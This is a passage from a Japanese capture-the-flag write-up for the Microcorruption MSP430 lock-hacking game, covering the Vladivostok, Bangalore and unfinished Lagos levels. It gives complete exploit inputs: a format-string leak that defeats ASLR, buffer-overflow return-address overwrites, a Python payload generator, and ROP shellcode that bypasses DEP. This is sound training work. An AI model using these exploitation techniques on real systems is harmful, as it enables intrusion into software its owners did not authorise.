次の2バイト(9043)は書き換え対象アドレス-4の値でfree関数の以下の箇所で書き換える値をfree関数のリターンアドレスが配置されているメモリアドレス(0x4394)になるように調節している。
452a: 8e4c 0400 mov r12, 0x4(r14)
書き換える命令では+4しておりfree関数のリターンアドレスのメモリ番地を指すようになっている。
次の2バイト(0000)はパディングで使用しないものとなっている。
最後の2バイト(dd5a)は複雑で複数の計算を考慮した値となっている。 まず以下の個所では0x4524の命令実行時点でr12は46a8となっており、次の0x0c5dでr13(dd5a)をr12に足しこむ。 次の命令(mov r12, 0x(r14))でfree関数のリターンアドレスが格納される0x4394番地に2408が格納される。
4524: 3c50 0600 add #0x6, r12 4528: 0c5d add r13, r12 452a: 8e4c 0400 mov r12, 0x4(r14) 452e: 9e4f 0200 0200 mov 0x2(r15), 0x2(r14)
そしてfree関数の後半であるの以下の個所。 以下の個所でr15は0x4390を指しており当該値に+4の位置の値を取ってくる。これは先ほど書き換えたfree関数のリターンアドレスとなる値である。 そしてその値に+6を行いまたリターンアドレスの位置に戻す。この時戻した値がシェルコードの先頭となるアドレスの0x240eとなる。
454a: 1d5f 0400 add 0x4(r15), r13 454e: 3d50 0600 add #0x6, r13 4552: 8f4d 0400 mov r13, 0x4(r15)
Vladivostok
まず実行してみる。 流れは今までと大して変わらずユーザ名とパスワードを聞かれるというもの。
Username (8 char max): >>aaaaa Password: Wrong!
だが処理の最初に命令が配置されている0x0010 ~ 0x4a6eを書き換えており、 書き換え後はASLR(Address Space Layout Randomization)が適応されており命令やスタック等の配置がランダムで変更される。
まずASLRを適応する前のアセンブリを見るとprintf関数が存在し書式文字列攻撃を考えることができる。 実際に試してみると成功することがわかる。
Username (8 char max): >>0000adfa00000000 Password:
上記で気になったのは0xadfaという値で、これは調べるとランダム化されたprintf関数のアドレスだということがわかった。 これを用いてprintf関数のアドレスをリークさせ相対位置から他の関数のアドレスを計算することできる。
次に気になったのはパスワードの入力で、ユーザ名は8文字の制限がかかっているのに対しパスワードは入力制限が20文字でリターンアドレスをバッファオーバーフローで書き換えられることがわかった。 (9 ~ 10文字目がリターンアドレスとなっている)
上記を踏まえ以下の攻撃方針を立てた。
- ユーザ名の入力で書式文字列攻撃を用いてprintf関数のアドレスをリークさせる。
- 相対位置を計算し_INT関数のアドレスを割り出す。
- パスワードの入力でバッファオーバーフローを用いてリターンアドレスを_INT関数のアドレスに書き換える。
- _INT関数がパスワード入力の際に置いた値を引数として取るので、その値を予め調節しておき0x7fでシステムコールを実行する。
上記の攻撃方針から以下のような流れで攻撃フラグを作成した。
まずprintf関数と今回リターンアドレスで飛ばす先となるINT関数のアドレスを調べておき、ASLR後もINT関数の場所をprintf関数のアドレスから相対的な位置を求められるようにしておく。 printf関数は
0x476a <printf>
、INT関数は0x48ec <_INT>
にあるので、アドレスの位置からASLR後は printf関数のアドレス + 0x182の場所にINT関数があることがわかった。次に最初のユーザ入力で、
%x%x
を入力しprintf関数のアドレスをリークさせる。 ``` Username (8 char max):0000d022
`` 上記の出力からprintf関数のアドレスは
0xd022、_INT関数のアドレスは
0xd1a4`であることがわかった。次にパスワード入力でリターンアドレスを書き換えINT関数を実行する攻撃コードを組み立てる。 上記のこと踏まえ作成したのが以下。
"6161616161616161" + "a4d1" + "6161" + "7f00"
上記ではまず8文字のパディングを入れている。これは前述した通りリターンアドレスが9 ~ 10文字目の入力にくるからだ。 そして先ほど計算し求めたINT関数のアドレスをリトルエンディアンで並び替え配置する。次にまた2バイトのパディングを挟み、 INT関数に渡す引数0x7fをリトルエンディアンで配置している。再度2バイトのパディングを挟んだ理由だがそれはINT関数のバイナリを見るとわかる。(INT関数を以下に示す)48ec <_INT> 48ec: 1e41 0200 mov 0x2(sp), r14 48f0: 0212 push sr 48f2: 0f4e mov r14, r15 48f4: 8f10 swpb r15 48f6: 024f mov r15, sr 48f8: 32d0 0080 bis #0x8000, sr 48fc: b012 1000 call #0x10 4900: 3241 pop sr 4902: 3041 ret
INT関数ではスタックポインタ+2の値を引数として取得しているため先ほどのような2バイトのパディングが必要となってくる。
最後に自身が作成したPythonのコードを示す。
import sys address_printf = sys.argv[1] arg_int = "7f00" padding = "61" address_int = int(address_printf, 16) + 0x182 address_int = hex(((address_int & 0xFF00) >> 8) + ((address_int & 0x00ff) << 8))[2:] print(padding*8 + address_int + padding*2 + arg_int)
Bangalore
まずは普通に実行。
Enter the password to continue. Remember: passwords are between 8 and 16 characters. That password is not correct.
上記を見る限りでは特に今までと変わったところもない様子。 login関数のret命令はgets命令とスタックのダンプを見る限りバッファオーバーフローで書き換えが可能なことがわかる。
(gets命令では48文字入力できるが ※以下gets命令の実行箇所抜粋)
4526: 3e40 3000 mov #0x30, r14 452a: 0f41 mov sp, r15 452c: b012 6244 call #0x4462 <getsn>
(以下の時pcは0x3ffeを指しており17 ~ 18文字目でリターンアドレスを書き換えることができるのがわかる。)
3fd0: 0000 0000 0000 0000 0000 0000 0000 5c44 ..............\D 3fe0: 7444 0000 0000 0a00 9644 0000 3845 7061 tD.......D..8Epa 3ff0: 7373 776f 7264 0000 0000 0845 0000 4044 ssword.....E..@D
ではバッファオーバーフローでPCを書き換えスタックに引いたシェルコードを実行する。 入力値は以下。
30127f00b012b6466161616161616161ee3f
上記の入力値を与えた時の結果が以下。
Segmentation Fault: can not execute write-only page.
シェルコードを敷いたスタック上はWrite-OnlyになっておりDEP(Data Execution Prevention)が有効になっているようなので、これを先に実行可能な状態に変更してからシェルコードを実行する必要がある。 なので今回はROP(Return-Oriented Programming)を行いスタックを実行可能にしてから任意の処理に移すような流れにする。
攻撃方針は以下。
- まずリターンアドレスを書き換え0x44baに処理を飛ばす。(以下が当該アドレス)
44ba: 3180 0600 sub #0x6, sp 44be: 3240 0091 mov #0x9100, sr 44c2: b012 1000 call #0x10 44c6: 3150 0a00 add #0xa, sp 44ca: 3041 ret
この時スタックは第一引数に0x3f(実行可能とするページ番号)、第二引数に0が来るようにスタックを調整した状態だ。 上記により0x3f00が実行可能領域となる。 - 次に上記の処理が終了した後、スタックに敷いた以下のシェルコードを実行される。
3240 00ff mov #0xff00, sr b012 1000 call #0x10
攻撃コード及びフラグは以下となる。
324000ffb01210006161616161616161ba443f000000ee3f
上記の攻撃コードを解説する。 まず役割ごとに分けるとすると以下のようになる。
324000ffb0121000 6161616161616161 ba44 3f000000 ee3f
まず最初のひとかたまり(324000ffb0121000)。 これはシェルコードになっており直接システムコールを呼ぶ形を取っている。 これまでのシェルコードではINT関数を用いていたが今回は存在しなかったからである。
INT関数は以下のようなコードになっており、今回はその中で用いられているコードをエミュレートする形を取った。
457a <INT> 457a: 1e41 0200 mov 0x2(sp), r14 457e: 0212 push sr 4580: 0f4e mov r14, r15 4582: 8f10 swpb r15 4584: 024f mov r15, sr 4586: 32d0 0080 bis #0x8000, sr 458a: b012 1000 call #0x10 458e: 3241 pop sr 4590: 3041 ret
今まではINT関数を以下のように呼び出していたので
4564: 3012 7f00 push #0x7f 4568: b012 b646 call #0x46b6 <INT>
最終的にsrに0xff00が入った状態でcall #0x10を呼ぶ形になる。 これを以下のコードで行ったのである。
3240 00ff mov #0xff00, sr b012 1000 call #0x10
次のひとかたり(6161616161616161) これはただのパディングになっている。
次のひとかまり(ba44)だが、これはその次のひとかたまり(3f000000)と関係があるので一緒に説明する。 0xba44はリターンアドレス(44ba)として使用され、以下のコードを用いてROPを行うために配置した。 3f00 0000は引数で順に第一引数、第二引数となるように配置した。
44ba: 3180 0600 sub #0x6, sp 44be: 3240 0091 mov #0x9100, sr 44c2: b012 1000 call #0x10 44c6: 3150 0a00 add #0xa, sp 44ca: 3041 ret
上記のコードではマニュアルにあるINT 0x11を実装しておりsrに0x11をセットしbis #0x8000 sr
を実行した後の状態を作っている。
INT 0x11のマニュアルを以下に示す。
INT 0x11. Mark as a page as either only executable or only writable. Takes two one arguments. The first argument is the page number, the second argument is 1 if writable, 0 if executable.
そしてここでもう一つ説明が必要なのが第一引数のページ番号である。 これに関してもマニュアルに記載があるので以下に示す。
2.3 Memory Protection Some version of the LockIT Pro contain memory protection which allows each of the 256 pages to be either executable or writable, but never both. This prevents many common attacks. There is an interrupt for the LockIT Pro which enables memory protection, and there are interrupts to specify whether a given page should be executable or writable.
マニュアルにはページは256個存在するを記載があるので0x00 ~ 0xffになることがわかる。そしてこれが各メモリアドレスと対になっているので今回はシェルコードを敷いた0x3feeが実行可能となるように、0x3fを指定した。
最後のひとかたり(ee3f)だが、これは先ほどROPを行うのに使用した処理のリターンアドレスになるものでスタック上に敷いたシェルコードの先頭を指している。
Lagos
実行すると以下のようなメッセージが出力された。
Enter the password to continue. Remember: passwords are between 8 and 16 characters. Due to some users abusing our login system, we have restricted passwords to only alphanumeric characters. That password is not correct.
不正を働くユーザ対策で英数字のみが入力できるようになっているようだ。 実際にはlogin関数の以下の個所でバリデーションを行っているようで、入力文字列をスタック付近にコピーする際には最初の英数字でない文字以降はコピーされないことがわかった。
4596: 7c40 0900 mov.b #0x9, r12 459a: 7d40 1900 mov.b #0x19, r13 459e: 073c jmp #0x45ae <login+0x50> 45a0: 0b41 mov sp, r11 45a2: 0b5e add r14, r11 45a4: cb4f 0000 mov.b r15, 0x0(r11) 45a8: 5f4e 0024 mov.b 0x2400(r14), r15 45ac: 1e53 inc r14 45ae: 4b4f mov.b r15, r11 45b0: 7b50 d0ff add.b #0xffd0, r11 45b4: 4c9b cmp.b r11, r12 45b6: f42f jc #0x45a0 <login+0x42> 45b8: 7b50 efff add.b #0xffef, r11 45bc: 4d9b cmp.b r11, r13 45be: f02f jc #0x45a0 <login+0x42> 45c0: 7b50 e0ff add.b #0xffe0, r11 45c4: 4d9b cmp.b r11, r13 45c6: ec2f jc #0x45a0 <login+0x42>
ただコードを読んでいくとわかるがgets関数では512文字入力できるようになっておりかなり長めの入力も受け付けることがわかる。
4584: 3e40 0002 mov #0x200, r14 4588: 3f40 0024 mov #0x2400, r15 458c: b012 5046 call #0x4650 <getsn>
加えてlogin関数のリターンアドレスは入力の18 ~ 19文字目でオーバーライドできることがわかったのでここから攻撃を展開していく。 んんー、Alphanumericなシェルコード? unlook_door関数を上書きできそう?
とりあえず飽きたのでこの辺で・・・
ゴミ溜め
alphanumeric 0x30 ~ 0x39 0x41 ~ 0x51 0x61 ~ 0x7a